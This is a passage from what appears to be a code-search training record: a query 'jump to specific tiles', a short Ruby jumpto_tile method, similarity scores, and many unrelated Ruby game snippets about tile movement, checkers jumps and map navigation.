"0.5518951",
"0.5518951",
"0.55160457",
"0.55077404",
"0.5501428",
"0.55008864",
"0.54997814",
"0.5495136",
"0.54932374",
"0.5490751",
"0.54852366",
"0.54769826",
"0.5469235",
"0.544517",
"0.54361063",
"0.54284894",
"0.54266614",
"0.54263854",
"0.5424945",
"0.54201007",
"0.5418625",
"0.54183817",
"0.5409078",
"0.53998584",
"0.53965676",
"0.53940254",
"0.5385575",
"0.5378747",
"0.5378714",
"0.5372086",
"0.53716904",
"0.5361405",
"0.5357029",
"0.5356346",
"0.53553677",
"0.5352521",
"0.5350323",
"0.5345752",
"0.5345128",
"0.53450155",
"0.5339821",
"0.5337592",
"0.53371584",
"0.5336174",
"0.533203",
"0.5328609",
"0.53174293",
"0.5317396",
"0.5317396",
"0.5317396",
"0.5311817",
"0.53108525",
"0.53066564",
"0.53028154",
"0.52947915",
"0.5285908",
"0.52857023",
"0.5282859",
"0.5274095",
"0.52739865",
"0.52738494",
"0.5273064",
"0.5270769",
"0.52520233",
"0.5249161",
"0.52473575",
"0.5244332",
"0.52426463",
"0.52410525",
"0.5229026"
] |
0.64770716
|
1
|
jump to specific tiles
|
def jumpto_tile(x, y)
jumpto(0, [x, y])
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def goto(obj, tile=nil)\r\n @x = obj.x\r\n @y = obj.y\r\n @mapx = tile.mapx\r\n @mapy = tile.mapy\r\n @tile = tile\r\n if @tile != nil\r\n @tile.occupy(self)\r\n end\r\n end",
"def move_one begTile\n @maze.get_adjacent_tiles(begTile).each do |tile|\n if (tile.is_floor) && (!@tiles.include? tile)\n @tiles.push tile\n self.move_one tile\n end\n end\n end",
"def jumpto(char_id, tilexy=nil)\n char_id > 0 ? char = $game_map.events[char_id] : char = $game_player\n tilexy.nil? ? condxy = [char.x, char.y] : condxy = [tilexy[0], tilexy[1]]\n jx = + eval_distance(tilexy.nil? ? char : tilexy)[0] if condxy[0] >= @x\n jy = - eval_distance(tilexy.nil? ? char : tilexy)[1] if condxy[1] <= @y\n jx = - eval_distance(tilexy.nil? ? char : tilexy)[0] if condxy[0] <= @x\n jy = - eval_distance(tilexy.nil? ? char : tilexy)[1] if condxy[1] <= @y\n jx = - eval_distance(tilexy.nil? ? char : tilexy)[0] if condxy[0] <= @x\n jy = + eval_distance(tilexy.nil? ? char : tilexy)[1] if condxy[1] >= @y\n jx = + eval_distance(tilexy.nil? ? char : tilexy)[0] if condxy[0] >= @x\n jy = + eval_distance(tilexy.nil? ? char : tilexy)[1] if condxy[1] >= @y\n jump(jx, jy)\n end",
"def set_current_tile\n @clicked_tile = \"redemptions\"\n end",
"def jump_next_view \n current, views = Subtlext::View.current, Subtlext::View.all \n views.each_with_index{|view,idx| views[ (idx+1 >= views.size) ? 0 : idx+1 ].jump if view == current } \nend",
"def tile\n tile_at(@position)\n end",
"def go(x,y,z)\n @api.send(\"player.setTile(#{x},#{y},#{z})\")\n end",
"def matchTile(ind)\n\t\t@tile_Array[ind].set_match\n\tend",
"def perform_jump(loc)\n return false unless onboard?(loc)\n\n moves = jump_moves\n return false unless moves.include?(loc)\n\n jump = slide_moves[moves.index(loc)]\n return false unless @board[loc].nil? && !@board[jump].nil?\n\n @board.move_piece(jump, nil)\n @board.move_piece(loc, self)\n\n maybe_promote\n true\n end",
"def tile(r,c)\r\n \ttiles[r,c]\r\n end",
"def setup_move\n return unless PONY::ERRNO.check_sequence(current_act)\n stop_all_movements\n mx = @map_char.real_x + @acts[1]\n my = @map_char.real_y + @acts[2]\n goto(mx, my, @acts[3], @acts[4], @acts[5] || 0)\n end",
"def jump\n candidate = Tag.find_by_id(params[:tag])\n .gifs\n .order_by(:score, MONGO::DESCENDING)\n .offset(params[:offset] || 0)\n\n if candidate\n redirect_to candidate.gif.url\n else\n redirect_to 'http://gifurl.com'\n end\n end",
"def jump_to_state(state)\n logger.debug \"STATE JUMP! to #{state}\"\n \n render_state(state)\n end",
"def jump(dir)\n @board.remove_at(slide_pos(dir))\n @row, @col = jump_pos(dir)\n make_king\n nil\n end",
"def go_to(rows,cols,face=nil)\n \tface = 'north' if (rows == 0 && cols == 0)\n @position.change ({:x => rows, :y => cols, :face => face.to_sym}) if face\n end",
"def perform_jump(move)\n raise IllegalMoveError.new unless jumps.include? move\n jumped_loc = move.dup\n jumped_loc[0] = jumped_loc[0] > @location[0] ? jumped_loc[0] - 1 : \n jumped_loc[0] + 1\n jumped_loc[1] = jumped_loc[1] > @location[1] ? jumped_loc[1] - 1 :\n jumped_loc[1] + 1\n @board.remove_piece(jumped_loc)\n perform_move(move)\n end",
"def jumpToCell(row, col)\n new_row = row\n new_col = col\n\n # Only create the row scale if needed.\n if (row == -1) || (row > @rows)\n # Create the row scale widget.\n scale = CDK::SCALE.new(@screen, CDK::CENTER, CDK::CENTER,\n '<C>Jump to which row.', '</5/B>Row: ', Ncurses::A_NORMAL,\n 5, 1, 1, @rows, 1, 1, true, false)\n\n # Activate the scale and get the row.\n new_row = scale.activate([])\n scale.destroy\n end\n\n # Only create the column scale if needed.\n if (col == -1) || (col > @cols)\n # Create the column scale widget.\n scale = CDK::SCALE.new(@screen, CDK::CENTER, CDK::CENTER,\n '<C>Jump to which column', '</5/B>Col: ', Ncurses::A_NORMAL,\n 5, 1, 1, @cols, 1, 1, true, false)\n\n # Activate the scale and get the column.\n new_col = scale.activate([])\n scale.destroy\n end\n\n # Hyper-warp....\n if new_row != @row || @new_col != @col\n return self.moveToCell(new_row, new_col)\n else\n return 1\n end\n end",
"def perform_jump target_position \n if valid_jump?(target_position) \n move!(target_position)\n return true\n else\n return false\n end \n end",
"def tile_at(pos)\n @parent.tile_at(pos)\n end",
"def move_home_all\n @target_x = 0\n @target_y = 0\n @target_z = 0\n start_command('G28', true, false)\n end",
"def setup_target_move\n return TSBS.error(@acts[0], 4, @used_sequence) if @acts.size < 5\n args = [@acts[1], @acts[2], @acts[3], @acts[4], @acts[5] || 0]\n if area_flag\n target_array.each do |target|\n target.goto(*args)\n end\n return\n end\n target.goto(*args)\n end",
"def fast_dance(direction, tiles)\n\nend",
"def pick_tiles\n if button_down? Gosu::KbEscape then\n close\n end\n \tif @phase == 0 \n \t\tif button_down? Gosu::MsLeft then\n \t\t\t# TILE 1\n \t\t\tif (mouse_x >= 0 and mouse_x <= 250) and (mouse_y >= 0 and mouse_y <= 250) and (!@game_board.is_matched(0)) then\n \t\t\t\t@game_board.flip_tile(0, true)\n \t\t\t\t@picked = 0\n \t\t\t\t@phase = 1\n \t\t\t# TILE 2\n \t\t\telsif (mouse_x > 250 and mouse_x <= 500) and (mouse_y >= 0 and mouse_y <= 250) and (!@game_board.is_matched(1)) then\n \t\t\t\t@game_board.flip_tile(1, true)\n \t\t\t\t@picked = 1\n \t\t\t\t@phase = 1\n \t\t\t# TILE 3\n \t\t\telsif (mouse_x > 500 and mouse_x <= 750) and (mouse_y >= 0 and mouse_y <= 250) and (!@game_board.is_matched(2)) then\n \t\t\t\t@game_board.flip_tile(2, true)\n \t\t\t\t@picked = 2\n \t\t\t\t@phase = 1\n \t\t\t# TILE 4\n \t\t\telsif (mouse_x > 750 and mouse_x <= 1000) and (mouse_y >= 0 and mouse_y <= 250) and (!@game_board.is_matched(3))then\n \t\t\t\t@game_board.flip_tile(3, true)\n \t\t\t\t@picked = 3\n \t\t\t\t@phase = 1\n \t\t\t# TILE 5\n \t\t\telsif (mouse_x > 1000 and mouse_x <= 1250) and (mouse_y >= 0 and mouse_y <= 250) and (!@game_board.is_matched(4)) then\n \t\t\t\t@game_board.flip_tile(4, true)\n \t\t\t\t@picked = 4\n \t\t\t\t@phase = 1\n \t\t\t# TILE 6\n \t\t\telsif (mouse_x >= 0 and mouse_x <= 250) and (mouse_y > 500 and mouse_y <= 750) and (!@game_board.is_matched(5)) then\n \t\t\t\t@game_board.flip_tile(5, true)\n \t\t\t\t@picked = 5\n \t\t\t\t@phase = 1\n \t\t\t# TILE 7\n \t\t\telsif (mouse_x > 250 and mouse_x <= 500) and (mouse_y > 500 and mouse_y <= 750) and (!@game_board.is_matched(6)) then\n \t\t\t\t@game_board.flip_tile(6, true)\n \t\t\t\t@picked = 6\n \t\t\t\t@phase = 1\n \t\t\t# TILE 8\n \t\t\telsif (mouse_x > 500 and mouse_x <= 750) and (mouse_y > 500 and mouse_y <= 750) and (!@game_board.is_matched(7)) then\n \t\t\t\t@game_board.flip_tile(7, true)\n \t\t\t\t@picked = 7\n \t\t\t\t@phase = 1\n \t\t\t# TILE 9\n \t\t\telsif (mouse_x > 750 and mouse_x <= 1000) and (mouse_y > 500 and mouse_y <= 750) and (!@game_board.is_matched(8)) then\n \t\t\t\t@game_board.flip_tile(8, true)\n \t\t\t\t@picked = 8\n \t\t\t\t@phase = 1\n \t\t\t# TILE 10\n \t\t\telsif (mouse_x > 1000 and mouse_x <= 1250) and (mouse_y > 500 and mouse_y <= 750) and (!@game_board.is_matched(9)) then\n \t\t\t\t@game_board.flip_tile(9, true)\n \t\t\t\t@picked = 9\n \t\t\t\t@phase = 1\n \t\t\tend\n \t\t\tsleep(0.2) # needs delay because gosu's mouse click event seems to be hyper sensitive and picks up multiple clicks instead of 1\n \t\tend\n \telse @phase == 1\n \t\tif button_down? Gosu::MsLeft then\n \t\t# TILE 1\n \t\t\tif (mouse_x >= 0 and mouse_x <= 250) and (mouse_y >= 0 and mouse_y <= 250) and (@picked != 0) and (!@game_board.is_matched(0)) then\n \t\t\t\t@game_board.flip_tile(0, true)\n \t\t\t\t@picked2 = 0\n \t\t\t\t@pickedSecond = true\n \t\t\t# TILE 2\n \t\t\telsif (mouse_x > 250 and mouse_x <= 500) and (mouse_y >= 0 and mouse_y <= 250) and (@picked != 1) and (!@game_board.is_matched(1)) then\n \t\t\t\t@game_board.flip_tile(1, true)\n \t\t\t\t@picked2 = 1\n \t\t\t\t@pickedSecond = true\n \t\t\t# TILE 3\n \t\t\telsif (mouse_x > 500 and mouse_x <= 750) and (mouse_y >= 0 and mouse_y <= 250) and (@picked != 2) and (!@game_board.is_matched(2)) then\n \t\t\t\t@game_board.flip_tile(2, true)\n \t\t\t\t@picked2 = 2\n \t\t\t\t@pickedSecond = true\n \t\t\t# TILE 4\n \t\t\telsif (mouse_x > 750 and mouse_x <= 1000) and (mouse_y >= 0 and mouse_y <= 250) and (@picked != 3) and (!@game_board.is_matched(3)) then\n \t\t\t\t@game_board.flip_tile(3, true)\n \t\t\t\t@picked2 = 3\n \t\t\t\t@pickedSecond = true\n \t\t\t# TILE 5\n \t\t\telsif (mouse_x > 1000 and mouse_x <= 1250) and (mouse_y >= 0 and mouse_y <= 250) and (@picked != 4) and (!@game_board.is_matched(4)) then\n \t\t\t\t@game_board.flip_tile(4, true)\n \t\t\t\t@picked2 = 4\n \t\t\t\t@pickedSecond = true\n \t\t\t# TILE 6\n \t\t\telsif (mouse_x >= 0 and mouse_x <= 250) and (mouse_y > 500 and mouse_y <= 750) and (@picked != 5) and (!@game_board.is_matched(5)) then\n \t\t\t\t@game_board.flip_tile(5, true)\n \t\t\t\t@picked2 = 5\n \t\t\t\t@pickedSecond = true\n \t\t\t# TILE 7\n \t\t\telsif (mouse_x > 250 and mouse_x <= 500) and (mouse_y > 500 and mouse_y <= 750) and (@picked != 6) and (!@game_board.is_matched(6)) then\n \t\t\t\t@game_board.flip_tile(6, true)\n \t\t\t\t@picked2 = 6\n \t\t\t\t@pickedSecond = true\n \t\t\t# TILE 8\n \t\t\telsif (mouse_x > 500 and mouse_x <= 750) and (mouse_y > 500 and mouse_y <= 750) and (@picked != 7) and (!@game_board.is_matched(7)) then\n \t\t\t\t@game_board.flip_tile(7, true)\n \t\t\t\t@picked2 = 7\n \t\t\t\t@pickedSecond = true\n \t\t\t# TILE 9\n \t\t\telsif (mouse_x > 750 and mouse_x <= 1000) and (mouse_y > 500 and mouse_y <= 750) and (@picked != 8) and (!@game_board.is_matched(8)) then\n \t\t\t\t@game_board.flip_tile(8, true)\n \t\t\t\t@picked2 = 8\n \t\t\t\t@pickedSecond = true\n \t\t\t# TILE 10\n \t\t\telsif (mouse_x > 1000 and mouse_x <= 1250) and (mouse_y > 500 and mouse_y <= 750) and (@picked != 9) and (!@game_board.is_matched(9)) then\n \t\t\t\t@game_board.flip_tile(9, true)\n \t\t\t\t@picked2 = 9\n \t\t\t\t@pickedSecond = true\n \t\t\tend\n\t\t\tsleep(0.2) # needs delay because gosu's mouse click event seems to be hyper sensitive and picks up multiple clicks instead of 1\n \t\tend\n \tend\n end",
"def reveal_tile(pos = self.cursor.pos)\n raise \"spot taken\" if revealed?(pos)\n reveal_bombs if bomb?(pos)\n cascade(pos) unless bomb?(pos)\n end",
"def move_to_tile(x, y, options = {})\n pixel_x = x * @zone.spritesheet[:tilewidth]\n pixel_y = y * @zone.spritesheet[:tileheight]\n message \"displayMoveStackToPixel\", \"#{@name}_stack\", pixel_x, pixel_y, options\n @x = x\n @y = y\n end",
"def tile(*coords)\n (coords.size == 1) ? tile_map[coords.first] : tile_map[coords]\n end",
"def jump_to(id, x, y, w=true)\n RME::deprecated_command(\"jump_to\", \"use 'event_jump_to' or 'player_jump_to'\")\n event(id).jump_to(x, y, w)\n end",
"def jump(loc)\n @ip = loc\n end",
"def jump(loc)\n @ip = loc\n end",
"def jump(loc)\n @ip = loc\n end",
"def start_jump(power)\n player = self.is_a?(Game_Player)\n if player\n RPG::SE.new(FalInt::JumpSe,80).play \n self.followers.reverse_each do |f|\n break if Input.dir4 == 0\n f.move_toward_player ; f.move_toward_player ; f.move_toward_player\n f.jump(0, power) if @direction == 2\n f.jump(- power, 0) if @direction == 4\n f.jump(power, 0) if @direction == 6\n f.jump(0, - power) if @direction == 8\n end\n end\n jump(0, power) if player ? Input.dir4 == 2 : @direction == 2\n jump(- power, 0) if player ? Input.dir4 == 4 : @direction == 4\n jump(power, 0) if player ? Input.dir4 == 6 : @direction == 6\n jump(0, - power) if player ? Input.dir4 == 8 : @direction == 8\n jump(0, 0) if Input.dir4 == 0 and player\n end",
"def jump_passable?(x, y, nx, ny)\n # passable if tags are not being used at all (to save process time)\n return true if BlizzABS::Config::NO_JUMP_TAGS.size == 0\n # get pixel movement rate\n pix = $BlizzABS.pixel\n # get jump direction\n xdir, ydir = (nx - x).sgn, (ny - y).sgn\n # iterate\n loop do\n # if tile has one of the terrain tags\n if BlizzABS::Config::NO_JUMP_TAGS.include?(terrain_tag(x / pix, y / pix))\n # impassable \n return false\n # if all tiles are passable\n elsif x == nx && y == ny\n # passable\n return true\n end\n # next tile\n x += xdir * pix\n y += ydir * pix\n end\n end",
"def jump(line, file)\n #This is a stub, used for indexing\n end",
"def jump\n @manipulators.inject(@history) { |h, man| man.manipulate!(h) }\n end",
"def go_in\n case @game.view\n when :world_map\n @game.switch_view\n# @current_memory = @game.world_map.current_seed\n end\n end",
"def setup_target_move\n return unless PONY::ERRNO::check_sequence(current_act)\n args = [@acts[1], @acts[2], @acts[3], @acts[4], @acts[5] || 0]\n current_action_targets.each do |target|\n target.goto(*args)\n end\n end",
"def next_tile_img\n next_tile_img = @current_tile_indx + 1\n case @current_move\n when Direction::Up\n next_tile_img = 9 if next_tile_img > 11\n when Direction::Down\n next_tile_img = 0 if next_tile_img > 2\n when Direction::Left\n next_tile_img = 3 if next_tile_img > 5\n when Direction::Right\n next_tile_img = 6 if next_tile_img > 8\n end\n @current_tile_indx = next_tile_img\n end",
"def teleport_to_tile(x, y, options = {})\n pixel_x = x * @zone.spritesheet[:tilewidth]\n pixel_y = y * @zone.spritesheet[:tileheight]\n message \"displayTeleportStackToPixel\", \"#{@name}_stack\", pixel_x, pixel_y, options\n @x = x\n @y = y\n end",
"def actuMap()\n 0.upto(@map.rows-1) do |x|\n 0.upto(@map.cols-1) do |y|\n\n if (@map.accessAt(x,y).value == 1)\n\n if @map.accessAt(x,y).color != nil\n if (@map.accessAt(x,y).color == @nbHypo + 1)\n @timePress[x][y] = 1\n @map.accessAt(x,y).color = @nbHypo\n end\n changeImage(@buttonTab[x][y],@tabCase[@map.accessAt(x,y).color])\n else\n changeImage(@buttonTab[x][y],\"../images/cases/blanc.png\" )\n @timePress[x][y] = 0\n end\n elsif @map.accessAt(x,y).value == 2\n changeImage(@buttonTab[x][y],\"../images/cases/croix.png\" )\n @timePress[x][y] = 0\n\n else\n ajoutLimitation(x,y)\n\n end\n\n end\n\n end\n end",
"def jump(n)\n \t\"*Jump!* \" * 2\n end",
"def jump(x, y)\n @position_x += x\n @position_y += y\n end",
"def makeJump(from,to)\n tab = self.copy ;\n ddx = sign(to.x - from.x) ;\n ddy = sign(to.y - from.y) ;\n x = from.x ; y = from.y ;\n loop do \n x += ddx ; y += ddy ;\n break if(x == to.x && y == to.y)\n tab.flip(x,y) ;\n end\n tab.set(to.x,to.y,tab.val(from.x,from.y)) ;\n tab.unset(from.x,from.y) ;\n tab\n end",
"def tile(x, y)\n\n @tiles[x][y]\n end",
"def goto(xpos, ypos, dur, jump)\n @point.goto(xpos,ypos,dur,jump)\n @dur = dur\n @jump = jump\n end",
"def go\n require 'pashua'\n pagetmp = wikipage_selector(\"Jump to which page?\")\n exit unless pagetmp\n @chrome.windows[1].get.tabs[@chrome.windows[1].get.active_tab_index.get].get.URL.set(\"http://localhost/wiki/#{pagetmp}\")\nend",
"def move_to_next_location(current)\n return nil if current < 0 || current > 7\n\n current = current.to_i\n range = @map[current].length - 1 unless @map[current].length <= 1\n # Randomly go to a neighboring location\n next_location = generator_rand(range.to_i)\n\n next_location += 1 if next_location.zero?\n\n puts \"Heading from #{@map[current][0]} to #{@map[current][next_location]}.\"\n\n result = @iterator.get_next_location(@map[current][next_location])\n result\n end",
"def tile_at(pos)\n tiles.each {|t| return t if t.position == pos}\n return nil\n end",
"def fast_dance(target, tiles_hash)\n tiles_hash[target]\nend",
"def next_jumps\n\t\tvalid_jumps = []\n\t\tmove_diffs.each do |diff|\n\t\t\tvalid_jumps << [position.first + (diff.first * 2), position.last + (diff.last * 2)]\n\t\tend\n\n\t\tvalid_jumps.select! do |move|\n\t\t\ton_board?(move) && enemy_between?(move) && board[move].nil?\n\t\tend\n\tend",
"def visit(loc)\n return if @map.current_location == loc\n\n # Get the list of commands that we need to execute to get to the desired location\n commands = @map.find_path_commands(@map.current_location, loc)\n commands.each { |command| move(command) }\n end",
"def next_move\n return false if @n.zero? && @grid.empty?\n show_path\n end",
"def possible_jumps\n pos_jumps = [ ]\n row, col = @pos\n move_diffs.each do |row_change, col_change| \n jumped_piece = [row + row_change, col + col_change]\n new_position = [row + (row_change * 2), (col + col_change * 2)]\n unless @grid[jumped_piece].nil? || @grid[jumped_piece].color == @color\n pos_jumps << new_position\n end\n end\n pos_jumps\n end",
"def move_to who, ox, oy, nx, ny\n @current_level.move_to who, ox, oy, nx, ny\n end",
"def tile_at(x, y)\n tiles_at(x, y).last\n end",
"def walk_to_tile(x, y, options = {})\n x_delta = x - @x\n y_delta = y - @y\n\n if x_delta > y_delta\n @cur_dir = x_delta > 0 ? \"right\" : \"left\"\n else\n @cur_dir = y_delta > 0 ? \"down\" : \"up\"\n end\n\n if options[\"duration\"]\n time_to_walk = options[\"duration\"]\n else\n speed = options[\"speed\"] || 1.0\n distance = Math.sqrt(x_delta ** 2 + y_delta ** 2)\n time_to_walk = distance / speed\n end\n\n send_animation \"walk_#{@cur_dir}\"\n cur_anim_counter = @anim_counter\n\n pan_x, pan_y = pan_offset_for_center_tile(x, y)\n send_pan_to_pixel_offset pan_x, pan_y, \"duration\" => time_to_walk\n move_to_tile x, y, \"duration\" => time_to_walk\n\n EM.add_timer(time_to_walk) do\n # Still walking as a result of this call? If so, now stop.\n if @anim_counter == cur_anim_counter\n send_animation \"stand_#{@cur_dir}\"\n end\n end\n end",
"def do_goto\n return if @updating\n\n new_value = $document.at_css('#tryruby-index').value.to_i\n if new_value >= 0\n update_screen(get_step_content(new_value, @editor.value, @output.value))\n end\n end",
"def place(queen, tile)\r\n tile.leave()\r\n queen.goto( tile, tile )\r\n end",
"def move_to(coordinates, map = @map)\n # Prevents operations on nil.\n return if map.nil?\n \n system(\"clear\") unless ENV['TEST']\n\n y = coordinates.first; x = coordinates.second\n\n # Prevents moving onto nonexistent and impassable tiles.\n if (!map.in_bounds(y,x) || (!map.tiles[y][x].passable))\n describe_tile(self)\n return\n end\n\n @map = map\n @location = coordinates\n tile = @map.tiles[y][x]\n\n update_map\n\n if !(tile.monsters.empty?)\n # 50% chance of monster appearing\n monster_outcome = Random.rand(0..99)\n\n if (monster_outcome < 50)\n clone = tile.monsters[Random.rand(0..(tile.monsters.size-1))].clone\n battle(clone)\n end\n\n end\n\n describe_tile(self)\n end",
"def reachable? begTile, endTile\n x = begTile.x\n y = begTile.y\n self.move_one begTile if @tiles.empty?\n return @tiles.include? endTile\n end",
"def test_next_tile\n game = Game.new 1, [@jacob,@raymond]\n \n h = Game::HEIGHT-1\n assert_equal [h,0], game.next_tile(0)\n game.board[h][0] = 1\n\n h = h - 1\n assert_equal [h,0], game.next_tile(0)\n game.board[h][0] = 1\n\n h = h - 1\n assert_equal [h,0], game.next_tile(0)\n game.board[h][0] = 1\n end",
"def perform_jump?(to_pos)\n if @king\n valid_moves = self.king_jumps\n else\n valid_moves = self.pawn_jumps\n end\n if valid_moves.include?(to_pos)\n jump_over_pos = []\n diff = [ to_pos[0] - @pos[0], to_pos[1] - @pos[1] ]\n diff.each_with_index { |el, ind| jump_over_pos << (el > 0 ? (to_pos[ind] - 1) : (to_pos[ind] + 1) ) }\n @board[jump_over_pos] = nil\n self.maybe_promote(to_pos) if @king == false\n return true\n end\n \n false\n end",
"def jumps\n jumps = Array.new\n move_dirs = jump_dirs\n jumped_dirs = slide_dirs # The spaces to be jumped over.\n\n move_dirs.length.times do |i|\n new_loc = [@location[0] + move_dirs[i][0],\n @location[1] + move_dirs[i][1]]\n jumped_loc = [@location[0] + jumped_dirs[i][0],\n @location[1] + jumped_dirs[i][1]]\n \n next unless @board.valid_location?(*new_loc)\n jumps << new_loc if !@board[*jumped_loc].nil? &&\n @board[*jumped_loc].color != @color &&\n @board[*new_loc].nil?\n end\n\n jumps \n end",
"def move_down\n down_tile = Couple.new(@location.first + 1, @location.second)\n move_to(down_tile)\n end",
"def valid_jump_destination?(from, to, pieces)\n row = Game.index_to_row(from)\n target = nil\n if Game.is_king?(pieces[from-1])\n return if (row + 2 != Game.index_to_row(to)) and (row - 2 != Game.index_to_row(to))\n target = get_target_for_red(row, from, to) || get_target_for_white(row, from, to)\n elsif Game.is_red?(pieces[from-1])\n return if row + 2 != Game.index_to_row(to)\n target = get_target_for_red(row, from, to)\n elsif Game.is_white?(pieces[from-1])\n return if row - 2 != Game.index_to_row(to)\n target = get_target_for_white(row, from, to)\n end\n return target\n end",
"def setup_reset\n stop_all_movements\n goto(@ori_x, @ori_y, @acts[1], @acts[2])\n end",
"def setup_reset\n stop_all_movements\n goto(@ori_x, @ori_y, @acts[1], @acts[2])\n end",
"def valid_jumps \n jumps = []\n move_dirs.each do |jump|\n #landing location\n x, y = (2 * jump[0] + pos[0]), (2 * jump[1] + pos[1])\n #flyover square\n u, v = (jump[0] + pos[0]), (jump[1] + pos[1])\n next unless (0..7).include?(x) && (0..7).include?(y) \n next if @board[[u, v]].nil? || (@board[[u, v]].color == @color) \n jumps << [x, y] if (!@board[[u, v]].nil?) && @board[[x, y]].nil?\n end\n jumps\n end",
"def play\n greeting\n get_tiles\n move_sequence\n end",
"def jump_to(path, &block)\n Dir.chdir(test_content_dirs(path), &block)\nend",
"def goto\n @world.here << params\n @world.attr[@id] = params\n Mud.new(@here.id).here.delete(@id)\n @here = Mud.new(params)\n @here.here << @id\n here\n prompt\n end",
"def jump(*node_types); end",
"def choppy_movement_tb\n @tb_grid_mv = @tb_grid_mv == 3 ? 0 : @tb_grid_mv + 1\n if TactBattleManager.tact_battle? && @tb_grid_mv == 2 \n Sound.play_cursor if Input.dir4 > 0 && @x == @real_x && @y == @real_y\n mv_by_input_tb_mod\n end\n end",
"def print_tile(coords)\n if ((@location.first == coords.first) && (@location.second == coords.second))\n print \"¶ \"\n else\n print @map.tiles[coords.first][coords.second].to_s\n end\n end",
"def single_jumps(pos)\n poss_dir = []\n jumpable = (@dir == :up ? UP_DIRS : DOWN_DIRS)\n jumpable = DOWN_DIRS + UP_DIRS if king\n\n jumpable.each do |dir|\n jumped_pos = add_dir(pos, dir)\n new_pos = add_2_dir(pos, dir)\n if @board.on_board?(new_pos)\n enemy = @board[*jumped_pos]\n\n poss_dir << dir if (\n enemy &&\n enemy?(enemy) &&\n new_pos.all? { |i| (0..7).include?(i) } &&\n !@board[*new_pos]\n )\n end\n end\n\n poss_dir\n end",
"def setup_move\n return TSBS.error(@acts[0], 4, @used_sequence) if @acts.size < 5\n stop_all_movements\n goto(@acts[1], @acts[2], @acts[3], @acts[4], @acts[5] || 0)\n end",
"def goto\n end",
"def slow_dance(dir, tiles)\n tiles.index(dir)\nend",
"def fast_dance(direction, tiles_hash)\n raise \"You can't move like that, oct :(\" if tiles_hash[direction] == nil\n tiles_hash[direction]\nend",
"def next_spot\n\t\tif @location.nil?\n\t\t\tfirst()\t\t\n\t\telse\n\t\t\tmoving()\n\t\tend\n\tend",
"def move_to(x, y); end",
"def set_tile\n @tile = Tile.find(params[:id])\n end",
"def set_tile\n @tile = Tile.find(params[:id])\n end",
"def set_tile\n @tile = Tile.find(params[:id])\n end",
"def set_tile\n @tile = Tile.find(params[:id])\n end",
"def go_to(new_place)\n @curr_place = new_place\n end",
"def move_home_all\n $status.info_target_x = 0\n $status.info_target_y = 0\n $status.info_target_z = 0\n execute_command('G28', true, false)\n end",
"def enter_maze\n\t\t@player.location = @maze.rooms.sample.reference\n\t\tputs \"You go west.\"\n\tend",
"def locate\n x = mouse_x + @viewport.ox\n approx = x * value.length / @sprite.bitmap.width\n match = approach(approx, x)\n @text.cursor_jump(match)\n @viewport.ox -= 10 if mouse_x < 0\n @viewport.ox += 10 if (self.width - mouse_x) < 0\n end",
"def pathfind begTile, endTile\n @traveled_tiles = [begTile]\n @current_tiles = [begTile]\n @next_tiles = Array.new\n #iterate through the maze one movement at a time, hard stop when all tiles have been exhausted\n while (!@current_tiles.include? endTile) && @traveled_tiles.length < @maze.size\n @current_tiles.each do |tile|\n (get_adjacent_floors tile).each do |next_tile|\n #makes sure no tiles are double counted, the first to hit will always be the shortest\n if (next_tile.is_floor) && (!@next_tiles.include? next_tile) && (!@traveled_tiles.include? next_tile)\n @next_tiles.push next_tile\n next_tile.previous_tile tile\n end\n end\n end\n @traveled_tiles.concat @next_tiles\n @current_tiles = @next_tiles.dup\n @next_tiles.clear\n end\n endTile.get_path\n end",
"def jump(src_cell, dest_cell)\n \n temp = cells[src_cell[0]][src_cell[1]].removePiece()\n cells[dest_cell[0]][dest_cell[1]].removePiece()\n cells[dest_cell[0]][dest_cell[1]].addPiece(temp)\n \n end",
"def set_tiles\n if @game_state_model::game_type == :classic\n @tiles = @tilesClassic\n elsif @game_state_model::game_type == :otto\n @tiles = @tilesOtto\n end\n end",
"def update_mouse_tiles\n mx = (Mouse.pos[0] / 32) ; my = (Mouse.pos[1] / 32)\n case [mx, my]\n when [Tile_X, Tile_Y] then $game_player.mouse_over = 1\n when [Tile_X + 1, Tile_Y] then $game_player.mouse_over = 2\n when [Tile_X + 2, Tile_Y] then $game_player.mouse_over = 3\n when [Tile_X + 3, Tile_Y] then $game_player.mouse_over = 4\n when [Tile_X + 4, Tile_Y] then $game_player.mouse_over = 5\n when [Tile_X + 5, Tile_Y] then $game_player.mouse_over = 6\n when [Tile_X + 6, Tile_Y] then $game_player.mouse_over = 7\n when [Tile_X + 7, Tile_Y] then $game_player.mouse_over = 8\n when [Tile_X + 8, Tile_Y] then $game_player.mouse_over = 9\n else \n $game_player.mouse_over = 0 if $game_player.mouse_over != 0\n end\n if $game_player.mouse_over > 0\n create_mouse_blink\n update_mouse_blink_position\n @mouse_blink.opacity -= 3\n @mouse_blink.opacity = 70 if @mouse_blink.opacity <= 6\n else\n dispose_mouse_blink\n end\n end",
"def move(from, to)\n if !towers.include?(from)\n puts \"Tower #{from} does not exist.\"\n elsif !towers.include?(to)\n puts \"Tower #{to} does not exist.\"\n elsif from.equal?(to)\n puts \"You can't put the same disc where you got it from!\"\n elsif tower(to).any? && tower(to).last < tower(from).last\n puts \"Invalid move. You can't place a bigger tile on top of a smaller one.\"\n else\n tower(to) << tower(from).pop\n self.moves += 1\n end\n end",
"def go_out\n case @game.view\n when :current_map\n @game.switch_view\n# @current_memory = :world_map\n end\n end",
"def move_type_toward_player\n # Get difference in player coordinates\n sx = @x - $player.x\n sy = @y - $player.y\n # Get absolute value of difference\n abs_sx = sx > 0 ? sx : -sx\n abs_sy = sy > 0 ? sy : -sy\n # If separated by 20 or more tiles matching up horizontally and vertically\n if sx + sy >= 20\n # Random\n move_random\n return\n end\n\n # What if they follow more aggressively on harder difficulty?\n\n # Branch by random numbers 0-5\n case rand(6)\n when 0..3 # Approach player\n move_toward_player\n when 4 # random\n move_random\n when 5 # 1 step forward\n move_forward\n end\n\n end",
"def move_type_toward_player\n # Get difference in player coordinates\n sx = @x - $game_player.x\n sy = @y - $game_player.y\n # Get absolute value of difference\n abs_sx = sx > 0 ? sx : -sx\n abs_sy = sy > 0 ? sy : -sy\n # If separated by 20 or more tiles matching up horizontally and vertically\n if sx + sy >= 20\n # Random\n move_random\n return\n end\n # Branch by random numbers 0-5\n case rand(6)\n when 0..3 # Approach player\n move_toward_player\n when 4 # random\n move_random\n when 5 # 1 step forward\n move_forward\n end\n end",
